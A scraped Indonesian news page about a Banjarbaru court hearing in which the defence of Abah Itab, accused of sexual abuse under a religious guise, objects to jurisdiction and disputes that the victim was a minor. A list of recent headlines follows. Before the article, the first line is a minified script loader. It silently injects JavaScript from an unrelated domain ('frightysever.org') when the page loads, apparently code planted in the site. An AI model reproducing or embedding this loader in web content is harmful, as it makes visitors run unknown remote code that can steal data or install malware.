(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Eksepsi Abah Itab Sebut Korban Tak Penuhi Unsur Anak di Bawah Umur


BANJARBARU, Kuasa hukum Abah Itab, tersangka kasus perkara pidana pencabulan berkedok agama menyampaikan 2 eksepsi saat sidang lanjutan di Pengadilan Negeri (PN) Banjarbaru, Rabu (11/4) pukul 10.00 Wita.

Pada agenda sidang sebelumnya dengan pembacaan dakwaan, Abah Itab didakwa dengan 3 pasal sekaligus yaitu pasal 81 ayat 2 Undang-Undang Perlindungan Anak, Pasal 82 Ayat 1 dan Pasal 293 ayat 1 KUHP oleh Jaksa Penuntut Umum.

Menanggapi hal itu, kuasa hukum Abdul Hamid SH MH langsung mengajukan eksespsi. Pada penyampaian eksepsi terdakwa mengajukan keberatan berupa kompetensi relatif, Pengadilan Negeri Banjarbaru tidak berwenang memeriksa dan mengadili perkara ini.

Eksepsi yang kedua yaitu dakwaan Jaksa Penuntut Umum kabur karena tidak memenuhi unsur bahwa korban anak di bawah umur.

Seperti yang diketahui tersangka Abah Itab ditangkap oleh jajaran Polres Banjarbaru di kediaman Jalan KH Anang Sya’rani Arif, Kampung Melayu Tengah, Kecamatan Martapura Timur, Kabupaten Banjar Kamis 24 Januari setelah menerima laporan dari korban yang dicabuli berinisial M (20).

Menurut Abdul Hamid, seharusnya Pengadilan Negeri Martapura yang berhak mengadili kliennya karena penangkapan dilakukan di Kampung Melayu, Kecamatan Martapura Timur dan para saksi juga bertempat tinggal di Martapura. Selain itu kuasa hukum terdakwa juga memastikan kliennya melakukan tindak asusila kepada korban dengan status dewasa.

Menanggapi eksepsi kuasa hukum terdakwa, ditemui di Kantor Kejaksaan Negeri Banjarbaru, Kasi Pidum Imam Cahyono kepada Kanal Kalimantan, untuk agenda minggu depan  pihaknya telah siap mematahkan eksepsi yang diajukan penasehat hukum terdakwa

“Sidang pekan depan kita akan lakukan jawaban eksepsi dan kita akan tunjukan bahwa eksepsi penasehat hukum terdakwa salah,” tegasnya.(rico)

Reporter : Rico
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

5 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

6 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

8 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

8 jam ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

20 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

23 jam ago

This website uses cookies.